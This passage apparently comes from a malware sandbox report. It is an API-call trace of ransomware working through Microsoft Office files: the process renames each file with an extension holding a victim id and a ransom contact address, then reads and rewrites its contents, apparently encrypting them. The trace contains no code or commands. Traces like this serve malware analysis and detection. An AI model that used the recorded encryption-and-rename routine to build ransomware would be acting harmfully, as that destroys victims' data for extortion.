out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.284] CloseHandle (hObject=0x708) returned 1 [0146.284] GetProcessHeap () returned 0x630000 [0146.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f19db0 | out: hHeap=0x630000) returned 1 [0146.284] GetProcessHeap () returned 0x630000 [0146.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0146.284] GetProcessHeap () returned 0x630000 [0146.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.284] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d23dde6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0xaa87496, dwReserved1=0x6672f0, cFileName="ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGPOS~1.FIR")) returned 0x6d5280 [0146.285] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.285] Sleep (dwMilliseconds=0x1) [0146.323] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", len=0x40 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS") returned 1 [0146.323] GetProcessHeap () returned 0x630000 [0146.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2708) returned 0x71f7c78 [0146.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.324] CloseHandle (hObject=0x708) returned 1 [0146.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~4.FIR")) returned 0x6d4f00 [0146.325] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0146.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.325] GetProcessHeap () returned 0x630000 [0146.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0146.325] GetProcessHeap () returned 0x630000 [0146.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6faa008 [0146.325] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.325] ReadFile (in: hFile=0x708, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x587ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.339] GetProcessHeap () returned 0x630000 [0146.339] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0146.340] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.340] WriteFile (in: hFile=0x708, lpBuffer=0x6faa008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa008*, lpNumberOfBytesWritten=0x587ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.340] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.340] WriteFile (in: hFile=0x708, lpBuffer=0x6faad67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faad67*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.340] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.340] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.340] CloseHandle (hObject=0x708) returned 1 [0146.340] GetProcessHeap () returned 0x630000 [0146.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa008 | out: hHeap=0x630000) returned 1 [0146.340] GetProcessHeap () returned 0x630000 [0146.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0146.340] GetProcessHeap () returned 0x630000 [0146.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0146.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d2d672b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xaa87496, dwReserved1=0x695ec8, cFileName="NETWORK.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~4.FIR")) returned 0x6d4ec0 [0146.341] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.341] Sleep (dwMilliseconds=0x1) [0146.386] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", len=0x40 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM") returned 1 [0146.386] GetProcessHeap () returned 0x630000 [0146.386] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2704) returned 0x71f7c78 [0146.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0146.388] CloseHandle (hObject=0x68c) returned 1 [0146.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSQRY3~1.FIR")) returned 0x6d4f80 [0146.389] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0146.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0146.389] GetProcessHeap () returned 0x630000 [0146.390] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0146.390] GetProcessHeap () returned 0x630000 [0146.390] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726fa50 [0146.390] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.390] ReadFile (in: hFile=0x68c, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.300] GetProcessHeap () returned 0x630000 [0153.300] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0153.300] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.300] WriteFile (in: hFile=0x68c, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.300] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.300] WriteFile (in: hFile=0x68c, lpBuffer=0x727ae4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae4f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.671] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.671] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.671] CloseHandle (hObject=0x68c) returned 1 [0155.671] GetProcessHeap () returned 0x630000 [0155.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0155.672] GetProcessHeap () returned 0x630000 [0155.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0155.672] GetProcessHeap () returned 0x630000 [0155.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0155.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22bcff1f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7d6a6, dwReserved0=0xaa87496, dwReserved1=0x7264618, cFileName="MSQRY32.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSQRY3~1.FIR")) returned 0x6d5280 [0155.672] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.672] Sleep (dwMilliseconds=0x1) [0155.684] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap", len=0x65 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap") returned 1 [0155.684] GetProcessHeap () returned 0x630000 [0155.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b50) returned 0x707d3d0 [0155.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\powerviewres.fi.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0155.685] CloseHandle (hObject=0x69c) returned 1 [0155.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\powerviewres.fi.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\powerviewres.fi.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e00 [0155.686] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0155.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\powerviewres.fi.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0155.687] GetProcessHeap () returned 0x630000 [0155.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0155.687] GetProcessHeap () returned 0x630000 [0155.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0155.687] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.687] ReadFile (in: hFile=0x69c, lpBuffer=0x6ed88b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.607] GetProcessHeap () returned 0x630000 [0162.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0162.607] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.607] WriteFile (in: hFile=0x69c, lpBuffer=0x6fdcf38*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.608] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.608] WriteFile (in: hFile=0x69c, lpBuffer=0x6fe8337*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe8337*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.245] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.245] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.245] CloseHandle (hObject=0x69c) returned 1 [0164.245] GetProcessHeap () returned 0x630000 [0164.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0164.245] GetProcessHeap () returned 0x630000 [0164.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0164.246] GetProcessHeap () returned 0x630000 [0164.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0164.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d985da, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f3c1, dwReserved0=0xaa87496, dwReserved1=0x6ed88a8, cFileName="PowerViewRes.fi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5440 [0164.246] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0164.246] Sleep (dwMilliseconds=0x1) [0165.455] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.455] GetProcessHeap () returned 0x630000 [0165.455] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bdc) returned 0x707d3d0 [0165.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0166.728] CloseHandle (hObject=0x6d0) returned 1 [0166.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0170.932] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0170.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0170.932] GetProcessHeap () returned 0x630000 [0170.932] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73e2b20 [0170.933] GetProcessHeap () returned 0x630000 [0170.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73edf50 [0170.933] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.933] ReadFile (in: hFile=0x6d0, lpBuffer=0x73e2b20, nNumberOfBytesToRead=0xb400, 